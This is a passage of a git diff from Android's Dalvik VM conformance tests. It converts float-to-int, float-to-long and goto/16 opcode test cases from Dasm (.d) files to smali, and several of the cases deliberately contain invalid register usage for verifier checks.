-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       const-wide v1, 3.14
-       float-to-int v0, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali
new file mode 100644
index 0000000..fd26b8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_2.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       const-wide v1, 3.14
+       float-to-int v0, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.d
deleted file mode 100644
index 0401ffd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_3.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       const-wide v1, 1234
-       float-to-int v0, v1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali
new file mode 100644
index 0000000..504953b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_3.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       const-wide v1, 1234
+       float-to-int v0, v1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.d
deleted file mode 100644
index 94fb137..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_4.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       float-to-int v0, v3
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali
new file mode 100644
index 0000000..701ba84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_4.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v3
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.d
deleted file mode 100644
index 697a193..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_5.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 5
-
-       float-to-int v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali
new file mode 100644
index 0000000..2065109
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_5.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 5
+
+       float-to-int v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.d
deleted file mode 100644
index 6fa95c5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_6.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       float-to-int v0, v5
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali
new file mode 100644
index 0000000..6ff0cb6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_6.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v5
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.d
deleted file mode 100644
index a4a5c24..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_1.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       float-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali
new file mode 100644
index 0000000..e8484b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_1.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.d
deleted file mode 100644
index ea3525a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_2.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       const-wide v2, 3.14    
-       float-to-long v0, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali
new file mode 100644
index 0000000..c89b2e2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_2.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       const-wide v2, 3.14    
+       float-to-long v0, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.d
deleted file mode 100644
index 1fde1d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_3.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       const-wide v2, 1223
-       float-to-long v0, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali
new file mode 100644
index 0000000..3bb51da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_3.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       const-wide v2, 1223
+       float-to-long v0, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.smali
new file mode 100644
index 0000000..a1b9689
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_4;
+.super Ljava/lang/Object;
+.source "T_float_to_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()J
+    .registers 1
+
+    const p0, 0x4048f5c3    # 3.14f
+
+    float-to-long p0, p0
+
+    return-wide p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.d
deleted file mode 100644
index 148381a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_5.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       float-to-long v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali
new file mode 100644
index 0000000..c97a143
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_5.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.d
deleted file mode 100644
index 99fa733..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_6.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)J
-.limit regs 6
-
-       float-to-long v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali
new file mode 100644
index 0000000..b045254
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_6.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)J
+.registers 6
+
+       float-to-long v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.d
deleted file mode 100644
index 30c969c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_long_7.java
-.class public dot.junit.opcodes.float_to_long.d.T_float_to_long_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)J
-.limit regs 6
-
-       float-to-long v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali
new file mode 100644
index 0000000..88cb8f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_long/d/T_float_to_long_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_long_7.java"
+.class  public Ldot/junit/opcodes/float_to_long/d/T_float_to_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)J
+.registers 6
+
+       float-to-long v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.smali
new file mode 100644
index 0000000..0afc452
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_1.smali
@@ -0,0 +1,50 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/goto_16/d/T_goto_16_1;
+.super Ljava/lang/Object;
+.source "T_goto_16_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(I)I
+    .registers 5
+
+# test positive offset
+    goto/16 :goto_3
+
+    :goto_2
+    return p1
+
+    :goto_3
+    add-int/lit8 p1, p1, -0x1
+
+    if-lez p1, :cond_9
+
+# test negative offset
+    goto/16 :goto_3
+
+    :cond_9
+    goto :goto_2
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/goto_16/d/T_goto_16_2.d
